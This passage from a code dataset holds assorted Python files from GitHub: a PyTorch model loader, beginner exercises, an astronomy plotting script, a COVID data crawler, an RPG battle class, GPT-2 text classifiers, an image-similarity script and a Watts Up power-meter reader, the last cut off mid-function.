load_folder(cls: Type[TarfileSerialisationBaseModel], save_folder_path: AnyStr) -> AbstractBaseModel:\n config = cls.load_config(save_folder_path)\n\n base_module_path = os.path.join(save_folder_path, cls.get_base_module_save_file_name())\n with open(base_module_path, \"rb\") as load_file:\n base_module = pickle.load(load_file)\n\n config[\"base_module\"] = base_module\n config[\"loss\"] = None\n\n instance = cls(**config)\n weight_list = torch.load(os.path.join(save_folder_path, cls.get_model_save_file_name()))\n instance.model = instance.build()\n instance.model.load_state_dict(weight_list)\n\n loss_save_path = os.path.join(save_folder_path, cls.get_loss_save_file_name())\n with open(loss_save_path, \"rb\") as load_file:\n instance.loss = pickle.load(load_file)\n\n target_transformer_save_path = os.path.join(save_folder_path, cls.get_target_transformer_save_file_name())\n if os.path.isfile(target_transformer_save_path):\n with open(target_transformer_save_path, \"rb\") as load_file:\n instance.target_transformer = pickle.load(load_file)\n else:\n instance.target_transformer = None\n\n preprocess_x_fn_path = os.path.join(save_folder_path, cls.get_preprocess_x_fn_save_file_name())\n if os.path.isfile(preprocess_x_fn_path):\n with open(preprocess_x_fn_path, \"rb\") as load_file:\n instance.preprocess_x_fn = pickle.load(load_file)\n else:\n instance.preprocess_x_fn = None\n\n preprocess_y_fn_path = os.path.join(save_folder_path, cls.get_preprocess_y_fn_save_file_name())\n if os.path.isfile(preprocess_y_fn_path):\n with open(preprocess_y_fn_path, \"rb\") as load_file:\n instance.preprocess_y_fn = pickle.load(load_file)\n else:\n instance.preprocess_y_fn = None\n\n postprocess_y_fn_path = os.path.join(save_folder_path, cls.get_postprocess_y_fn_save_file_name())\n if os.path.isfile(postprocess_y_fn_path):\n with open(postprocess_y_fn_path, \"rb\") as load_file:\n instance.postprocess_y_fn = pickle.load(load_file)\n else:\n instance.postprocess_y_fn = None\n\n collate_fn_path = os.path.join(save_folder_path, cls.get_collate_fn_save_file_name())\n if os.path.isfile(collate_fn_path):\n with open(collate_fn_path, \"rb\") as load_file:\n instance.collate_fn = pickle.load(load_file)\n else:\n instance.collate_fn = None\n return instance\n","repo_name":"slingpy/slingpy","sub_path":"slingpy/models/torch_model.py","file_name":"torch_model.py","file_ext":"py","file_size_in_byte":14089,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"25655306011","text":"# for x in range(0,11):\n# for y in range(0,11):\n# print(x,'x',y,'=',x*y)\n# print('____________')\n\nn=int(input('Enter your number : '))\nif n<0:\n print('Enter a positive number')\nelse:\n sum=0\n while(n>0):\n sum+=n\n n-=1\n print('The Sum is',sum)\n","repo_name":"MetiKh2/Python-Tutorial","sub_path":"multiplication_table_sum_to_number.py","file_name":"multiplication_table_sum_to_number.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73509891044","text":"import numpy as np\nfrom numpy import mean, sqrt, average, square, median, std, var, sum\nimport astropy\nfrom astropy.table import Table, join, vstack\nimport matplotlib.pyplot as pl\nimport matplotlib.cm as cm\nfrom astropy.io import fits\nimport scipy as sp\nfrom scipy.stats import stats\nimport ipdb\nimport pandas as pd\nimport glob\nfrom glob import iglob\n\n\nid=None\n# number of pixels across a single chip\nxpix = 2048\nypix = 4096\n# number of chips in each direction\nxchips = 6\nychips = 2\n# number of pixels across a single bin\nbinsize = 128\n\n\n\n\nt=Table.read(\"alldataf11.txt\",format='ascii',names=('PTFra', 'PTFdec', 'PTFx', 'PTFy', 'PTFmag', 'PTFzeropoint', 'PTFcalmag', 'PTFmag_error',\n 'PTF_fwhm',\n 'SDSSid', 'SDSSra', 'SDSSdec', 'SDSSmag', 'SDSStype', 'date', 'pid', 'filtnum', 'chipnum'))\n\nxoffset=[0,2085,4168,6230,8314,10404,0,2086,4169,6253,8346,10450]\nyoffset=[4135,4130,4130,4130,4130,4141,0,0,0,0,0,0,0]\n\ndeltaMag=t['PTFcalmag']-t['SDSSmag']\nx0=np.ones(len(t))\ny0=np.ones(len(t))\nfor chip in xrange(12):\n x0[t['chipnum']==chip]=xoffset[chip]\n y0[t['chipnum'] == chip] = yoffset[chip]\n\nx=t['PTFx']+x0\ny=t['PTFy']+y0\n\nvmin=-0.1\nvmax=0.1\npl.axes().set_aspect('auto', 'box')\n\n\n\nxbins=np.arange(0,xpix*xchips,binsize)\nybins=np.arange(0,ypix*ychips,binsize)\n\n\nhcount=sp.stats.binned_statistic_2d(x,y,0*deltaMag+1,statistic=np.sum,bins=[xbins,ybins])\n\nh=sp.stats.binned_statistic_2d(x,y,deltaMag,statistic=np.nanmedian,bins=[xbins,ybins])\nhs=h.statistic\n#pl.imshow(hs.T,origin='lower',extent=(0,12462,0,8204), vmin=vmin, vmax=vmax)\n#cbar= pl.colorbar(cmap=deltaMag, orientation='vertical')\n\n\ndef nanrms(b, axis=None):\n return sqrt(np.nanmean(b**2, axis=axis))\n\nr=sp.stats.binned_statistic_2d(x,y,deltaMag,statistic=nanrms,bins=[xbins,ybins])\nrs=r.statistic\npl.imshow(rs.T,origin='lower',extent=(0,12462,0,8204),vmin=0,vmax=4.6)\ncbar= pl.colorbar(cmap=deltaMag, orientation='vertical')\n\n\n#these are giving the medians of all bins in each \"row\" or \"column\" along either axis\n#pl.plot((ybins[1:]+ybins[:-1])/2,np.nanmedian(hs,axis=0))\n#pl.plot((xbins[1:]+xbins[:-1])/2,np.nanmedian(hs,axis=1))\n#pl.errorbar((xbins[1:]+xbins[:-1])/2,np.nanmedian(hs,axis=1),xerr=None,yerr=std(hs,axis=1)/sqrt(len(xbins)),ecolor='black')\n\n#these are giving the amount of x- or y-bins for a specific median\n#pl.hist(np.nanmedian(hs,axis=0))\n#pl.hist(np.nanmedian(hs,axis=1))\n\n\n#pl.hist(nanrms(hs,axis=0))\n\n\n#pl.step((ybins[1:]+ybins[:-1])/2,hs.T,where='mid')\n#pl.plot((ybins[1:]+ybins[:-1])/2,np.nanmean(hs,axis=0),'o')\n\n#these are giving me the rms of the medians of all bins in each \"row\" or \"column\" along either axis\n#pl.plot((xbins[1:]+xbins[:-1])/2, nanrms(hs,axis=1))\n#pl.plot((ybins[1:]+ybins[:-1])/2, nanrms(hs,axis=0))\n\n\n# this will give interquartile range\n#df=pd.DataFrame(np.nanmedian(hs,axis=0))\n#df.describe()\n\n","repo_name":"Caldwe44/F11","sub_path":"plotcoords.py","file_name":"plotcoords.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43354047937","text":"import csv\n\nfrom covid_db.datatypes.StrictDataPointsFactory import StrictDataPointsFactory, MODE_STRICT\nfrom covid_db.datatypes.enums import Schemas, DataTypes\nfrom covid_crawlers._base_classes.GithubRepo import GithubRepo\nfrom _utility.get_package_dir import get_overseas_dir\nfrom covid_crawlers.w_europe.fr_data.fr_region_maps import fr_departments, place_map\n\n\n# date,granularite,maille_code,maille_nom,cas_confirmes,cas_ehpad,\n# cas_confirmes_ehpad,cas_possibles_ehpad,deces,deces_ehpad,\n# reanimation,hospitalises,gueris,depistes,source_nom,\n# source_url,source_archive,source_type\n#\n# date, granularity, mesh_code, mesh_name, cas_confirmes, cas_ehpad,\n# cas_confirmes_ehpad, cas_possibles_ehpad, deaths, death_ehpad,\n# resuscitation, hospitalized, gueris, depistes, source_nom,\n# source_url, source_archive, source_type\n#\n# 2020-01-24,departement,DEP-16,Charente,0,,,,,,,,,,ARS Nouvelle-Aquitaine,https://www.nouvelle-aquitaine.ars.sante.fr/communique-de-presse-coronavirus-point-de-situation-en-nouvelle-aquitaine-du-08032020,,agences-regionales-sante\n# 2020-01-24,departement,DEP-17,Charente-Maritime,0,,,,,,,,,,ARS Nouvelle-Aquitaine,https://www.nouvelle-aquitaine.ars.sante.fr/communique-de-presse-coronavirus-point-de-situation-en-nouvelle-aquitaine-du-08032020,,agences-regionales-sante\n# 2020-01-24,departement,DEP-19,Corrèze,0,,,,,,,,,,ARS Nouvelle-Aquitaine,https://www.nouvelle-aquitaine.ars.sante.fr/communique-de-presse-coronavirus-point-de-situation-en-nouvelle-aquitaine-du-08032020,,agences-regionales-sante\n# 2020-01-24,departement,DEP-23,Creuse,0,,,,,,,,,,ARS Nouvelle-Aquitaine,https://www.nouvelle-aquitaine.ars.sante.fr/communique-de-presse-coronavirus-point-de-situation-en-nouvelle-aquitaine-du-08032020,,agences-regionales-sante\n# 2020-01-24,departement,DEP-24,Dordogne,0,,,,,,,,,,ARS Nouvelle-Aquitaine,https://www.nouvelle-aquitaine.ars.sante.fr/communique-de-presse-coronavirus-point-de-situation-en-nouvelle-aquitaine-du-08032020,,agences-regionales-sante\n# 2020-01-24,departement,DEP-33,Gironde,1,,,,,,,,,,ARS Nouvelle-Aquitaine,https://www.nouvelle-aquitaine.ars.sante.fr/communique-de-presse-coronavirus-point-de-situation-en-nouvelle-aquitaine-du-08032020,,agences-regionales-sante\n\n# date,granularite,maille_code,maille_nom,cas_confirmes,cas_ehpad,\n# cas_confirmes_ehpad,cas_possibles_ehpad,deces,deces_ehpad,\n# reanimation,hospitalises,nouvelles_hospitalisations,\n# nouvelles_reanimations,gueris,depistes,source_nom,\n# source_url,source_archive,source_type\n\n\nclass FRData(GithubRepo):\n SOURCE_URL = 'https://github.com/opencovid19-fr/data'\n SOURCE_DESCRIPTION = ''\n SOURCE_ID = 'fr_opencovid_fr'\n\n GEO_DIR = ''\n GEO_URL = ''\n GEO_LICENSE = ''\n\n def __init__(self):\n GithubRepo.__init__(self,\n output_dir=get_overseas_dir() / 'fr' / 'data',\n github_url='https://github.com/opencovid19-fr/data')\n self.sdpf = StrictDataPointsFactory(mode=MODE_STRICT)\n self.update()\n\n def get_datapoints(self):\n r = self.sdpf()\n\n with open(self.get_path_in_dir('dist/chiffres-cles.csv'),\n 'r', encoding='utf-8') as f:\n for item in csv.DictReader(f):\n region_child = item['maille_nom']\n item['date'] = item['date'].replace('_', '-')\n date = self.convert_date(item['date'])\n\n confirmed = item['cas_confirmes']\n cases_confirmed_agedhomes = item['cas_confirmes_ehpad']\n cases_possible_agedhomes = item['cas_possibles_ehpad']\n deaths = item['deces']\n deaths_agedhomes = item['deces_ehpad']\n icu = item['reanimation']\n hospitalized = item['hospitalises']\n recovered = item['gueris']\n unknown = item['depistes']\n source_name = item['source_nom']\n source_url = item['source_url'] or source_name or self.github_url\n\n if item['granularite'] == 'pays':\n region_schema = Schemas.ADMIN_0\n region_parent = None\n elif item['granularite'] == 'departement':\n region_schema = Schemas.ADMIN_1 #Schemas.FR_DEPARTMENT\n region_parent = 'FR' # CHECK ME for overseas territories!!!! ==================================================\n try:\n region_child = fr_departments[region_child]\n except KeyError:\n region_child = place_map[region_child]\n elif item['granularite'] == 'region':\n region_schema = Schemas.ADMIN_1\n region_parent = 'France'\n continue # HACK: It seems the natural earth geojson files use departments rather than regions!!!\n elif item['granularite'] == 'collectivite-outremer':\n region_schema = Schemas.FR_OVERSEAS_COLLECTIVITY\n region_parent = None\n continue # HACK: Won't support these in this data for now, as most of this info is in the JHU data!! ============================\n elif item['granularite'] == 'monde':\n # World\n continue\n else:\n raise Exception(item['granularite'])\n\n if confirmed.strip('NaN'):\n r.append(\n region_schema=region_schema,\n region_parent=region_parent,\n region_child=region_child,\n datatype=DataTypes.TOTAL,\n value=int(confirmed),\n date_updated=date,\n source_url=source_url\n )\n\n if deaths.strip('NaN'):\n r.append(\n region_schema=region_schema,\n region_parent=region_parent,\n region_child=region_child,\n datatype=DataTypes.STATUS_DEATHS,\n value=int(deaths),\n date_updated=date,\n source_url=source_url\n )\n\n if icu.strip('NaN'):\n r.append(\n region_schema=region_schema,\n region_parent=region_parent,\n region_child=region_child,\n datatype=DataTypes.STATUS_ICU,\n value=int(icu),\n date_updated=date,\n source_url=source_url\n )\n\n if hospitalized.strip('NaN'):\n r.append(\n region_schema=region_schema,\n region_parent=region_parent,\n region_child=region_child,\n datatype=DataTypes.STATUS_HOSPITALIZED,\n value=int(hospitalized),\n date_updated=date,\n source_url=source_url\n )\n\n if recovered.strip('NaN'):\n r.append(\n region_schema=region_schema,\n region_parent=region_parent,\n region_child=region_child,\n datatype=DataTypes.STATUS_RECOVERED,\n value=int(recovered),\n date_updated=date,\n source_url=source_url\n )\n\n if confirmed.strip('NaN'):\n r.append(\n region_schema=region_schema,\n region_parent=region_parent,\n region_child=region_child,\n datatype=DataTypes.STATUS_ACTIVE,\n value=int(recovered)-int(confirmed),\n date_updated=date,\n source_url=source_url\n )\n\n if confirmed.strip('NaN'):\n r.append(\n region_schema=region_schema,\n region_parent=region_parent,\n region_child=region_child,\n datatype=DataTypes.TOTAL,\n value=int(confirmed),\n date_updated=date,\n source_url=source_url\n )\n\n return r\n\n\nif __name__ == '__main__':\n from pprint import pprint\n pprint(FRData().get_datapoints())\n","repo_name":"mcyph/world_subnational_covid_crawler","sub_path":"covid_crawlers/w_europe/fr_data/FRData.py","file_name":"FRData.py","file_ext":"py","file_size_in_byte":8640,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"15532749931","text":"batches_of_water = int(input())\ncapacity = 255\ntotal_filled = 0\nfor i in range(1, batches_of_water + 1):\n this_batch = int(input())\n if this_batch > capacity:\n print(\"Insufficient capacity!\")\n continue\n capacity -= this_batch\n total_filled += this_batch\nprint(total_filled)\n","repo_name":"karalkal/SoftUni_Python_Fundamentals","sub_path":"02_Data_Types_and_Variables/2_exercises/ex7_water_overflow.py","file_name":"ex7_water_overflow.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7667493990","text":"import collections, itertools, re\n\ndef light_pattern(instruction_translation):\n with open('lighting_configuration', 'r') as f:\n lights = collections.defaultdict(lambda: collections.defaultdict(int))\n for step in f:\n m = re.search(r\"([\\w ]+) (\\d+),(\\d+) through (\\d+),(\\d+)\", step)\n instruction, x1, y1, x2, y2 = m.group(1), int(m.group(2)), int(m.group(3)), int(m.group(4)), int(m.group(5))\n fn = instruction_translation(instruction)\n for x, y in itertools.product(range(x1, x2 + 1), range(y1, y2 + 1)):\n lights[x][y] = fn(lights[x][y])\n print(sum(sum(col.values()) for col in lights.values()))\n\nlight_pattern(lambda instruction: (lambda light: 1) if instruction == 'turn on' else (lambda light: 0) if instruction == 'turn off' else (lambda light: (light + 1) % 2))\nlight_pattern(lambda instruction: (lambda light: light + 1) if instruction == 'turn on' else (lambda light: light - 1 if light > 0 else 0) if instruction == 'turn off' else (lambda light: light + 2))\n","repo_name":"yokuyuki/adventofcode","sub_path":"2015/day_06/lights.py","file_name":"lights.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37429422559","text":"#!usr/local/bin/python3.8\n# -*- coding: utf-8 -*import\nimport random\nfrom typing import List, Dict\nfrom classes.magic import Magic\n\n\nclass BColors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\n\nclass Person:\n ACTIONS = ['Attack', 'Magic', 'Items']\n\n def __init__(self, name, hp: int, mp: int, attack: int, defence: int,\n magic: List[Magic], items: List[Dict]):\n self.name = name\n self.__max_hp = hp\n self.hp = hp\n self.__max_mp = mp\n self.mp = mp\n self.__attack = attack\n self.defence = defence\n self.magic = magic\n self.items = items\n\n @property\n def max_hp(self):\n return self.__max_hp\n\n @property\n def max_mp(self):\n return self.__max_mp\n\n def damage(self):\n attack_low = self.__attack - 20\n attack_high = self.__attack + 20\n return random.randrange(attack_low, attack_high)\n\n def take_damage(self, damage: int):\n self.hp -= damage\n if self.hp <= 0:\n self.hp = 0\n return self.hp\n\n def reduce_mp(self, cost: int):\n self.mp -= cost\n\n def heal(self, dmg):\n self.hp += dmg\n if self.hp > self.__max_hp:\n self.hp = self.__max_hp\n\n def choose_action(self):\n i = 1\n print(f'\\n{BColors.OKBLUE}{BColors.BOLD}{self.name} Turn:\\n{BColors.ENDC}')\n print(f'{BColors.OKBLUE}{BColors.BOLD}ACTIONS{BColors.ENDC}')\n for action in Person.ACTIONS:\n print(f\" {i}. {action}\")\n i += 1\n\n def choose_magic(self):\n i = 1\n print(f'{BColors.OKBLUE}{BColors.BOLD}MAGIC{BColors.ENDC}')\n for magic in self.magic:\n print(f\" {i}. {magic.name}, (cost: {magic.mp_cost})\")\n i += 1\n\n def choose_item(self):\n i = 1\n print(f\"{BColors.OKGREEN}{BColors.BOLD}ITEMS:{BColors.ENDC}\")\n for item in self.items:\n print(f\" {i}. {item['item'].name}: {item['item'].description} (x{item['quantity']})\")\n i += 1\n\n @staticmethod\n def choose_target(enemies):\n i = 1\n alive_enemies = len([x for x in enemies if x.hp > 0])\n print(f\"\\n{BColors.OKGREEN}{BColors.BOLD}TARGET:{BColors.ENDC}\")\n for enemy in enemies:\n if enemy.hp != 0:\n print(f\" {i}. {enemy.name}\")\n i += 1\n while True:\n choice = int(input(\"Choose target: \")) - 1\n if choice in range(1, alive_enemies + 1) or choice == 0:\n break\n print(\"Wrong magic number! Choose again!\")\n return choice\n\n def get_stats(self):\n tick = '█'\n hp_ticks = int(((self.hp / self.__max_hp) * 100) / 4)\n hp_bar = ''\n\n # dynamic HP bar\n for x in range(hp_ticks):\n hp_bar += tick\n\n while True:\n if len(hp_bar) == 25:\n break\n hp_bar += ' '\n\n # Dynamic MP bar\n mp_ticks = int(((self.mp / self.__max_mp) * 100) / 10)\n mp_bar = ''\n\n for x in range(mp_ticks):\n mp_bar += tick\n\n while True:\n if len(mp_bar) == 10:\n break\n mp_bar += ' '\n\n # Keep HP 4 spaces\n hp = str(self.hp)\n if len(hp) < 2:\n hp = f\" {hp}\"\n elif len(hp) < 3:\n hp = f\" {hp}\"\n elif len(hp) < 4:\n hp = f' {hp}'\n\n # Keep MP 3 spaces\n mp = str(self.mp)\n if len(mp) < 2:\n mp = f' {mp}'\n elif len(mp) < 3:\n mp = f' {mp}'\n\n print(f' {BColors.BOLD}_________________________ __________{BColors.ENDC}')\n print(f'{BColors.BOLD}{self.name}: {hp}/{self.__max_hp} '\n f'|{BColors.OKGREEN}{hp_bar}{BColors.ENDC}'\n f'{BColors.BOLD}| {mp}/{self.__max_mp}|{BColors.OKBLUE}{mp_bar}{BColors.ENDC}{BColors.BOLD}|'\n f'{BColors.ENDC}')\n\n def get_enemy_stats(self):\n hp_bar = ''\n bar_ticks = int(((self.hp / self.__max_hp) * 100) / 2)\n tick = '█'\n\n for x in range(bar_ticks):\n hp_bar += tick\n\n while True:\n if len(hp_bar) == 50:\n break\n hp_bar += ' '\n\n # Keep HP 4 spaces\n hp = str(self.hp)\n if len(hp) < 2:\n hp = f\" {hp}\"\n elif len(hp) < 3:\n hp = f\" {hp}\"\n elif len(hp) < 4:\n hp = f' {hp}'\n elif len(hp) < 5:\n hp = f\" {hp}\"\n\n print(f' {BColors.BOLD}__________________________________________________{BColors.ENDC}')\n print(f'{BColors.BOLD}{self.name} {hp}/{self.__max_hp} '\n f'|{BColors.FAIL}{hp_bar}{BColors.ENDC}'\n f'{BColors.BOLD}|{BColors.ENDC}')\n\n def choose_enemy_spell(self):\n magic_choice = random.randrange(0, len(self.magic))\n spell = self.magic[magic_choice]\n magic_dmg = spell.generate_damage()\n\n hp_breakpoint = self.hp / self.__max_hp * 100\n\n if self.mp < spell.mp_cost or (spell.type == 'white' and hp_breakpoint > 50):\n self.choose_enemy_spell()\n else:\n return spell, magic_dmg\n","repo_name":"Simomir/-RPG-Battle-Script","sub_path":"classes/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18836925349","text":"from torch import nn\nfrom transformers import GPT2Model\n\nclass GPTClassifier(nn.Module):\n\n def __init__(self, dropout=0.5):\n \n super(GPTClassifier, self).__init__()\n\n self.gpt = GPT2Model.from_pretrained('gpt2')\n self.dropout = nn.Dropout(dropout)\n self.linear = nn.Linear(self.gpt.config.n_embd, 5)\n self.relu = nn.ReLU()\n\n def forward(self, input_id, mask=None):\n \n output = self.gpt(input_ids=input_id)\n pooled_output = output.last_hidden_state.mean(dim=1) # média dos embeddings dos tokens\n dropout_output = self.dropout(pooled_output)\n linear_output = self.linear(dropout_output)\n final_layer = self.relu(linear_output)\n\n return final_layer\n \nclass SimpleGPT2SequenceClassifier(nn.Module):\n def __init__(self, num_classes:int, gpt_model_name:str):\n super(SimpleGPT2SequenceClassifier,self).__init__()\n self.gpt2model = GPT2Model.from_pretrained(gpt_model_name)\n self.fc1 = nn.Linear(393216, num_classes)\n \n def forward(self, input_id, mask):\n \"\"\"\n Args:\n input_id: encoded inputs ids of sent.\n \"\"\"\n gpt_out, _ = self.gpt2model(input_ids=input_id, attention_mask=mask, return_dict=False)\n batch_size = gpt_out.shape[0]\n linear_output = self.fc1(gpt_out.view(batch_size,-1))\n return linear_output","repo_name":"douglascastrorj/fakenews-mestrado","sub_path":"GPTClassifier.py","file_name":"GPTClassifier.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"33667906783","text":"import numpy as np\nimport os\nfrom skimage.measure import compare_ssim as ssim\nimport matplotlib.image as mpimg\nimport skimage\n\ndir1 = 'Validation/Real/'\ndir2 = 'Validation/Superimposed/'\n\ndef read_image(dir_name):\n list = []\n i = 0\n for filename in os.listdir(dir_name):\n realname = dir_name + filename\n list.append(mpimg.imread(realname))\n i += 1\n print(\"Read %s images\" %i)\n a = np.array(list)\n a = skimage.img_as_ubyte(a)\n return(a)\n\ndef compare(img1, img2, win):\n return ssim(img1, img2, win_size=win)\n\n\ndef cut(img,a,b):\n copy = np.copy(img)\n copy[copy > b] = 0\n copy[copy <= a] = 0\n return copy\n\nreal = read_image(dir1)\nsuperimposed = read_image(dir2)\nlabel = os.listdir(dir1)\n\na = 0\nb = 0\nfor i in range(len(label)):\n score = compare(cut(superimposed[1],30,40),cut(real[i],30,40),3)\n print('Superimposed 2 vs Real %d :' %(i+1), score)\n if score > a:\n a = score\n b = i + 1\n\nprint('Superimposed 2 is most similar to real image', b)","repo_name":"WendaZ/PyCharm_data","sub_path":"ROP 399 Final Report/Superimposition/Validation/Compare.py","file_name":"Compare.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23301238503","text":"import sys\nimport argparse\nimport logging\nimport os\nfrom datetime import datetime\nimport time\nfrom collections import defaultdict\nimport socket\nimport re\n\nimport serial # distribution: pyserial\n\nFORMAT = \"[%(asctime)s %(levelname)s] %(message)s\"\nlogging.basicConfig(level=logging.WARNING, format=FORMAT)\nlogger = logging.getLogger()\n\n\nclass WattsUpReader(object):\n \"\"\"Read data from the Watts Up Pro\"\"\"\n\n _MODELS = {\n '0': 'Standard',\n '1': 'Pro',\n '2': 'ES',\n '3': 'Ethernet (.net)',\n '4': 'Blind Module'\n }\n\n def __init__(self, device='/dev/ttyUSB0', interval=1):\n \"\"\" init method, run at class creation \"\"\"\n logger.info('Reading WattsUp Pro from: %s', device)\n self.device = device\n logger.debug('Opening port at 115200 baud')\n self.dev = serial.Serial(device, 115200)\n # get version\n self.query_version()\n self.fields = self.get_fields()\n logger.info('WattsUp response fields: %s', self.fields)\n msg = '#L,W,3,E,,%d;' % interval\n logger.debug('Setting WattsUp to External logging mode at %ds '\n '(message: %s)', interval, msg)\n self.dev.write(msg)\n\n def query_version(self):\n \"\"\"query the WattsUp for its version\"\"\"\n msg = '#V,R,0;'\n logger.debug('Querying WattsUp for version (message: %s)')\n self.dev.write(msg)\n verline = None\n while verline is None:\n line = self.dev.readline().strip().strip('\\x00').strip(';')\n logger.debug('Got line: %s', line)\n if line.startswith('#v,'):\n verline = line\n (_, _, _, model, memory, hw_major, hw_minor, fw_major, fw_minor,\n fw_timestamp, checksum) = line.split(',')\n logger.info('Connected to WattsUp; Model=%s (%s), Memory=%s, '\n 'HW_Major=%s, HW_Minor=%s, FW_Major=%s, FW_Minor=%s, '\n 'FW_Timestamp=%s', model,\n self._MODELS.get(model, 'unknown'), memory,\n hw_major, hw_minor, fw_major, fw_minor, fw_timestamp)\n\n def get_fields(self):\n \"\"\"set the WattsUp to log all fields, and return the names of them\"\"\"\n msg = '#H,R,0;'\n logger.debug('Getting field header from device (message: %s)', msg)\n self.dev.write(msg)\n headline = None\n while headline is None:\n line = self.dev.readline().strip().strip('\\x00').strip(';')\n logger.debug('Got line: %s', line)\n if line.startswith('#h,-,'):\n headline = line\n parts = headline.split(',')\n return parts[3:]\n\n def read(self, num_samples):\n \"\"\"\n read and return num_samples of data\n\n :param num_samples: number of samples of data to read\n :type num_samples: int\n :returns: list of data dicts, each having fields representing the data\n values from the device, plus a 'datetime' field of when the data was\n read.\n :rtype: list\n \"\"\"\n got_samples = 0\n samples = []\n while got_samples <= num_samples:\n line = self.dev.readline().strip().strip('\\x00;\\r')\n logger.debug(\"Got line: %s\", line)\n if not line.startswith('#d,-,'):\n continue\n got_samples += 1\n d = self._transform_data_line(line)\n logger.debug('Data for line: %s', d)\n samples.append(d)\n return samples\n\n def _transform_data_line(self, line):\n \"\"\"\n Parse a line of reading data, transform the values, return a dict of\n data with human-readable keys, plus timestamp.\n\n :param line: line of data read from device\n :type line: str\n :return: dict of data\n :rtype: dict\n \"\"\"\n parts = line.split(',')[3:]\n data = dict(zip(self.fields, parts))\n logger.debug('Raw line data: %s', data)\n result = {'datetime': datetime.now()}\n for k, v in data.items():\n if k == 'W':\n result['watts'] = float(v) / 10.0\n elif k == 'V':\n result['volts'] = float(v)/ 10.0\n elif k == 'A':\n result['amps'] = float(v) / 10.0\n elif k == 'WH':\n result['WH'] = float(v) / 10.0 # watt-hours\n elif k == 'Cost':\n result['cost'] = float(v) / 10.0\n elif k == 'WH/Mo':\n result['WH/Mo'] = int(v)\n elif k == 'Cost/Mo':\n result['Cost/Mo'] = float(v) / 10.0\n elif k == 'Wmax':\n continue\n elif k == 'Vmax':\n continue\n elif k == 'Amax':\n continue\n elif k == 'Wmin':\n continue\n elif k == 'Vmin':\n continue\n elif k == 'Amin':\n continue\n elif k == 'PF':\n result['PowerFactor'] = int(v)\n elif k == 'DC':\n result['DutyCycle'] = int(v)\n elif k == 'PC':\n result['PowerCycle'] = int(v)\n elif k == 'Hz':\n result['Hz'] = float(v) / 10.0\n elif k == 'VA':\n result['VA'] = float(v) / 10.0\n else:\n result[k] = v\n return result\n\n\nclass Logger(object):\n\n def __init__(self, fpath):\n if fpath is None:\n self.fpath = None\n logger.info('Logging to STDOUT')\n else:\n self.fpath = os.path.abspath(os.path.expanduser(fpath))\n logger.info('Logging to: %s', self.fpath)\n\n def _write_log_lines(self, header_line, lines):\n \"\"\"\n Given a list of log lines, write them to either a file or STDOUT,\n based on ``self.fpath``.\n\n :param header_line: first (header) line\n :type header_line: str\n :param lines: lines to log\n :type lines: list\n \"\"\"\n if self.fpath is None:\n print(header_line)\n for line in lines:\n print(line)\n return\n write_header = False\n if ((not os.path.exists(self.fpath)) or\n os.stat(self.fpath).st_size == 0):\n write_header = True\n with open(self.fpath, 'a') as fh:\n if write_header:\n fh.write(header_line + \"\\n\")\n for line in lines:\n fh.write(line + \"\\n\")\n\n def log_data(self, data):\n \"\"\"\n Log data to the file specified by ``self.fpath``.\n\n Add a header to the file if it doesn't exist.\n\n :param data: list of data dicts\n :type data: list\n \"\"\"\n header = sorted(data[0].keys())\n # move timestamp to the front\n header.remove('datetime')\n header.insert(0, 'datetime')\n header.insert(1, 'timestamp')\n header_line = ','.join(header)\n lines = []\n for d in data:\n line = []\n for k in header:\n if k == 'datetime':\n line.append(d[k].strftime('%Y-%m-%dT%H:%M:%S'))\n elif k == 'timestamp':\n line.append('%d' % time.mktime(d['datetime'].timetuple()))\n else:\n line.append(str(d[k]))\n lines.append(','.join(line))\n self._write_log_lines(header_line, lines)\n\n def log_average(self, data):\n \"\"\"\n Log average of data to the file specified by ``self.fpath``.\n\n Add a header to the file if it doesn't exist.\n\n :param data: list of data dicts\n :type data: list\n \"\"\"\n avgs = defaultdict(list)\n dt = None\n for record in data:\n if dt is None:\n dt = record['datetime']\n for key, val in record.items():\n if key == 'datetime':\n continue\n avgs[key].append(val)\n result = {}\n for key, values in avgs.items():\n if key.endswith('min'):\n result[key] = min(values)\n elif key.endswith('max'):\n result[key] = max(values)\n else:\n # mean\n result[key] = sum(values) / float(len(values))\n result['datetime'] = dt\n self.log_data([result])\n\n\nclass GraphiteSender(object):\n\n def __init__(self, host, port):\n self.host = host\n self.port = port\n logger.info('Sending graphite data to %s:%s', host, port)\n\n def _graphite_send(self, send_str):\n \"\"\"\n Send data to graphite\n\n :param send_str: data string to send\n :type send_str: str\n \"\"\"\n logger.debug('Opening socket connection to %s:%s', self.host, self.port)\n sock = socket.create_connection((self.host, self.port), 10)\n logger.debug('Sending data: \"%s\"', send_str)\n sock.sendall(send_str)\n logger.info('Data sent to Graphite')\n sock.close()\n\n\n def _clean_name(self, metric_name):\n \"\"\"\n Return a graphite-safe metric name.\n\n :param metric_name: original metric name\n :type metric_name: str\n :return: graphite-safe metric name\n :rtype: str\n \"\"\"\n metric_name = metric_name.lower()\n newk = re.sub(r'[^A-Za-z0-9_-]', '_', metric_name)\n if newk != metric_name:\n logger.debug('Cleaned metric name from \"%s\" to \"%s\"',\n metric_name, 